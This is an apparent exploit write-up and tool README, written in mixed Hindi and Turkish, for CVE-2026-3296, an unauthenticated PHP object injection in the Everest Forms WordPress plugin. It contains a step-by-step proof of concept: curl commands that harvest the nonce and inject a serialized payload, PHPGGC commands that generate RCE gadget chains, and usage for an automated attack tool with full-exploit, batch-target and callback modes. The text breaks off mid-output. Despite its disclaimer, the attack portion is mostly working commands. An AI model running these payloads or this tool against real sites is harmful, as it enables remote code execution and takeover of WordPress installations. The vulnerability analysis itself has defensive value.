CVE-2026-3296
CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 क्रिटिकल, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।
प्लगइन: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
प्लगइन स्लग: everest-forms
CVE ID: CVE-2026-3296
CVSS स्कोर: 9.8 (क्रिटिकल)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
भेद्यता प्रकार: बिना प्रमाणीकरण वाला PHP Object Injection → RCE
प्रभावित संस्करण: <= 3.4.3
पैच किया गया संस्करण: 3.4.4
प्रकाशन तिथि: 7 अप्रैल 2026
शोधकर्ता: 0xsabre — Mobikwik / Wordfence
📌 भेद्यता के बारे में
Everest Forms प्लगइन, फ़ॉर्म एंट्री मेटाडेटा को admin पैनल में
प्रदर्शित करते समय PHP के native unserialize() फ़ंक्शन को
allowed_classes पैरामीटर के बिना कॉल करता है।
एक बिना प्रमाणीकरण वाला हमलावर, किसी भी public फ़ॉर्म फ़ील्ड में
serialized PHP object payload डालकर उसे डेटाबेस में सहेज सकता है।
Admin पैनल से entry देखे जाने पर unserialize() ट्रिगर होता है
और वातावरण में मौजूद कोई भी POP gadget chain चल जाती है।
🔍 भेद्यता सारांश
⚙️ तकनीकी विश्लेषण
दो-चरणीय हमला मॉडल
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
चरण 1 — इंजेक्शन: Payload भंडारण
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
Sanitization अपर्याप्त क्यों है (evf-core-functions.php, line 4754)
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
यह payload sanitize_text_field() के बाद पूरी तरह संरक्षित रहता है:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
अतिरिक्त बग — समय से पहले Return (line 4764)
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
return $entry; स्टेटमेंट foreach लूप के अंदर है
→ केवल पहला फ़ील्ड sanitize किया जाता है, बाकी फ़ील्ड कच्चे (raw) रहते हैं।
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
चरण 2 — ट्रिगर: असुरक्षित Deserialization
भेद्य कोड (html-admin-page-entries-view.php, line 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
सुरक्षित Wrapper मौजूद है लेकिन उपयोग नहीं किया गया (evf-core-functions.php, line 5594)
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
Nonce सुरक्षा क्यों प्रदान नहीं करता?
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce CSRF सुरक्षा प्रदान करता है, प्रमाणीकरण नहीं।
हमलावर फ़ॉर्म पेज को GET के साथ खोलकर nonce पढ़ता है, फिर
POST के साथ payload भेजता है।
🔴 पूर्ण हमला श्रृंखला
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
🧪 Proof of Concept (मैनुअल)
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक
सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
पूर्वापेक्षाएँ:
- Everest Forms <= 3.4.3 स्थापित और सक्रिय है
- Public रूप से सुलभ फ़ॉर्म पेज
- Admin पैनल तक पहुंच (ट्रिगर के लिए)
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
चरण 2 — Benign टेस्ट Payload बनाएं
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
वास्तविक वातावरण के लिए PHPGGC के साथ POP chain उत्पन्न करें:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
चरण 3 — Payload इंजेक्ट करें
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
अपेक्षित: फ़ॉर्म सफलता संदेश या रीडायरेक्ट।
चरण 4 — डेटाबेस में सत्यापित करें (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
चरण 5 — Admin के रूप में ट्रिगर करें
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
पेज लोड होने पर unserialize() चलता है।
चरण 6 — Gadget Chain सत्यापन (टेस्ट वातावरण)
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
🛠️ स्वचालित स्कैनर
स्थापना
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 उपयोग
भेद्यता का पता लगाना (Benign Payload)
python everest_forms_poi.py -u http://hedef.com --mode scan
केवल इंजेक्शन (चरण 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
पूर्ण हमला (चरण 1 + चरण 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
OOB Callback के साथ पहचान (Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
बैच स्कैनिंग
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
Proxy के साथ (Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ पैरामीटर
मोड
| मोड | विवरण |
|---|
scan | Benign payload इंजेक्ट करें — भेद्यता का पता लगाना |
inject | केवल चरण 1 — payload संग्रहीत करें |
सामान्य पैरामीटर
फ़ॉर्म पैरामीटर
Payload विकल्प
Admin क्रेडेंशियल्स
| पैरामीटर | विवरण |
|---|
--admin-user | Admin उपयोगकर्ता नाम |
--admin-pass | Admin पासवर्ड |
💀 Payload प्रकार
💡 PHPGGC के साथ वास्तविक Chain उत्पन्न करना:
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# Tüm mevcut chain'leri listele
phpggc -l
📊 स्कैनर आउटपुट स्थितियाँ
🖥️ उदाहरण स्कैनर आउटपुट
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser